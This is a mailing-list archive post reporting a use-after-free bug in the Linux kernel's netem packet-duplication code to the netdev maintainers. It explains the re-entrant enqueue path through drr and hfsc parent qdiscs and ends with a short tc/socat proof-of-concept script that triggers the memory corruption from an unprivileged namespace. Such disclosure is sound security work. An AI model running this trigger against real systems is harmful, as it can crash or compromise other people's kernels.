lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <CAHcdcOm+03OD2j6R0=YHKqmy=VgJ8xEOKuP6c7mSgnp-TEJJbw@mail.gmail.com>
Date: Mon, 14 Apr 2025 13:33:00 +0800
From: "Tai, Gerrard" <gerrard.tai@...rlabs.sg>
To: netdev@...r.kernel.org
Cc: Willy Tarreau <w@....eu>, Stephen Hemminger <stephen@...workplumber.org>, 
	Jamal Hadi Salim <jhs@...atatu.com>, Cong Wang <xiyou.wangcong@...il.com>, jiri@...nulli.us
Subject: [BUG] net/sched: netem: UAF due to duplication routine

Hi,

I found a bug in the netem qdisc's packet duplication logic. This can
lead to UAF in classful parents.

In netem_enqueue():

    if (skb2) {
        struct Qdisc *rootq = qdisc_root_bh(sch);
        u32 dupsave = q->duplicate; /* prevent duplicating a dup... */

        q->duplicate = 0;
        rootq->enqueue(skb2, rootq, to_free);                       // [1]
        q->duplicate = dupsave;
        skb2 = NULL;
    }

    qdisc_qstats_backlog_inc(sch, skb);

    cb = netem_skb_cb(skb);

    if (q->gap == 0 || /* not doing reordering */
        q->counter < q->gap - 1 || /* inside last reordering gap */
        q->reorder < get_crandom(&q->reorder_cor, &q->prng)) {

            // [...]

            tfifo_enqueue(skb, sch);                                // [2]


When the netem qdisc tries to duplicate a packet, it enqueues the packet
into the root qdisc ([1]). Subsequently, tfifo_enqueue() is called at [2],
which increases the qdisc's qlen.

Consider when the netem qdisc is a child of a classful parent. For example,
in drr_enqueue(), there is first a check ([3]) if the child qdisc is
empty. Then, it enqueues the packet into the child qdisc ([4]). After the
enqueue succeeds, it activates the newly active child ([5]).

    first = !cl->qdisc->q.qlen;                                     // [3]
    err = qdisc_enqueue(skb, cl->qdisc, to_free);                   // [4]
    if (unlikely(err != NET_XMIT_SUCCESS)) {
        if (net_xmit_drop_count(err)) {
            cl->qstats.drops++;
            qdisc_qstats_drop(sch);
        }
        return err;
    }

    if (first) {                                                    // [5]
        list_add_tail(&cl->alist, &q->active);
        cl->deficit = cl->quantum;
    }

When the parent (drr) receives a packet to enqueue in an empty netem qdisc,
first = true at [3] and the packet is enqueued in netem. In netem, the
packet duplication enqueues the packet in the root qdisc, the parent drr,
again before it calls tfifo_enqueue() ([2]). So, the netem still has
qlen = 0 when the drr_enqueue() logic runs for the second time. This
causes first = true for the duplicate packet as well. Subsequently, both
calls succeed and the new child activation occurs twice at [5].

This 're-entrant' behaviour is present in other classful qdiscs as well.
In some cases, it can confuse a qdisc's internal tracking. Below is a PoC
with a hfsc parent that showcases a UAF scenario.

Proof of concept for UAF:
unshare -rn
$IP link set dev lo up

# setup victim hfsc
$TC qdisc add dev lo handle 1:0 root hfsc
$TC class add dev lo parent 1:0 classid 1:1 hfsc ls m2 10Mbit
$TC qdisc add dev lo parent 1:1 handle 2:0 netem duplicate 100%

$TC class add dev lo parent 1:0 classid 1:2 hfsc ls m2 10Mbit
$TC qdisc add dev lo parent 1:2 handle 3:0 netem duplicate 100%

echo "" | $SOCAT -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))

# delete class 1:1
$TC class del dev lo classid 1:1

# UAF, hfsc tries to dequeue from class 1:1
echo "" | $SOCAT -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10002))


This should give a UAF splat when the kernel is compiled with KASAN.

Unfortunately, I don't have any great ideas regarding a patch.

Thanks!
Gerrard Tai

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ